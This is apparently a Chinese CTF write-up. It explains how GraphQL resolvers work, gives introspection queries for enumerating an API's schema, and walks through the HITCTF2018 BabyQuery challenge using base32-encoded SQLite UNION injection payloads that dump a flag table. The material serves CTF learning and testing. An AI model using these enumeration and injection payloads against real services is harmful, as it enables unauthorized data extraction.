当CTF遇上GraphQL的那些事

0x 01 前言

​ 在之前的VolgaCTF 2020考到了GraphQL知识点,GraphQL在CTF比赛中虽然遇到的不多,但偶尔也会碰到,在碰到GraphQL的题目时候该如何解决呢?于是就有了这一篇文章。

0x 02 认识GraphQL

​ 那么什么是GraphQL呢?GraphQL是由Facebook创造并开源的一种用于API的查询语言。看到QL这样的字眼,很容易产生误解,以为是新的数据库查询语言,但其实GraphQL和数据库没有什么太大关系,GraphQL并不直接操作查询数据库,可以理解为传统的后端代码与数据库之间又多加了一层,这一层就是GraphQL。

想快速入门GraphQL的相关用法可以参考这一篇文章30分钟理解GraphQL核心概念

我们这里重点关注一下Resolver(解析函数)的工作流程,假设我们定义了以下的查询语句:

1
2
3
4
5
6
7
8
9
10
11
12
13
Query {
articles {
id
author {
name
}
comments {
id
desc
author
}
}
}

GraphQL在解析这段查询语句时会按如下步骤进行解析:

  • 首先进行第一层解析,当前QueryRoot Query类型是query,同时需要它的名字是articles
  • 之后会尝试使用articlesResolver获取解析数据,第一层解析完毕
  • 之后对第一层解析的返回值,进行第二层解析,当前articles还包含三个子Query,分别是idauthorcomments
    • id在Author类型中为标量类型,解析结束
    • author在Author类型中为对象类型User,尝试使用UserResolver获取数据,当前field解析完毕
    • 之后对第二层解析的返回值,进行第三层解析,当前author还包含一个Query, name,由于它是标量类型,解析结束
    • comments同上…

​ 总结来说,GraphQL大体的解析流程就是遇到一个Query之后,尝试使用它的Resolver取值,之后再对返回值进行解析,这个过程是递归的,直到所解析Field的类型是Scalar Type(标量类型)为止。解析的整个过程我们可以把它想象成一个很长的Resolver Chain(解析链)。GraphQL大体的解析流程很像是遍历树结构,那么他的返回值也是类结构展示的。

​ 对于发送数据我们可以使用postman或者GraphiQL,相对于burp suit,数据结构会更加直观一些。

0x 03 常用payload

​ 在对GraphQL测试之前我们要知道只有代码里写了接口,定义了相应的schema,才能通过GraphQL查询出对应结果,所以并不是通过GraphQL就能查询获取数据库中的所有数据。

​ 由于GraphQL自带强大的内省自检机制,可以直接获取后端定义的所有接口信息,常常存在信息泄露问题。那么我们可以通过__schema查询所有可用对象。

1
2
3
4
5
6
7
{
__schema {
types {
name
}
}
}

通过__type查询指定对象的所有字段:

1
2
3
4
5
6
7
8
9
10
11
{
__type(name: "User") {
name
fields {
name
type {
name
}
}
}
}

但是有时目标网站可能存在几十个对象,一个一个查找出具体的字段显示是太麻烦了,那么通过这两个payload可以获取所有对象和字段

payload1:

1
query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}

payload2:

1
query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description args{...InputValue}onOperation onFragment onField}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name}}}}

具体原理是通过IntrospectionQuery,返回包含足够多的信息的结果。

另外这篇文章里面*[GraphQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL Injection)*也提供了一些payload可供使用

  • 常用工具:

https://github.com/swisskyrepo/GraphQLmap

0x 04 例题分析:

这里以HITCTF2018 BabyQuery为例,题目的复现环境可以在github上找到:HITCTF2018 BabyQuery

题目打开有一个点击查询成绩的按钮,点击会弹窗显示成绩,右键源代码可以发现一段js

1
2
3
4
5
6
7
8
9
$(document).ready(function(){
var query_data = {'query': '{ getscorebyid(id: "GE======"){ id name score } }'}
var btn = $('#query');
btn.click(function(){
$.post('/graphql', query_data, function(result){
alert(result);
})
});
})

根据graphql可知后端使用了graphql查询api,我们使用上文中的payload,查看schema发现Query 操作有两个field: getscorebyyourname和getscorebyid 参数分别是name和id, 通过手工测试发现id参数经过base32编码且仅能是1位数, 而name参数存在SQL注入,那么可以构造payload如下:

1
2
3
4
5
6
7
query=
{ getscorebyyourname(name:"xxxx")
{
score
name
}
}

name参数的值用我们构造SQL注入语句的经过base32编码后的结果替换。

首先是

1
2
3
4
5
6
1' union select sqlite_version()-- 
//查询出版本号:3.11.0,那么可以判断数据库为sqlite3
1' union select (select group_concat(name,0x3a) from sqlite_master)--
//得到users和Secr3t_fl4g
1' union select (select flag from Secr3t_fl4g)--
//得到flag:HITCTF{fee26d3a146a404e106b1ed93156f30e}

参考资料:

https://cloud.tencent.com/developer/article/1528799

https://segmentfault.com/a/1190000014131950

https://blog.csdn.net/qq_41882147/article/details/82966783

https://www.anquanke.com/post/id/156930

https://www.anquanke.com/post/id/147455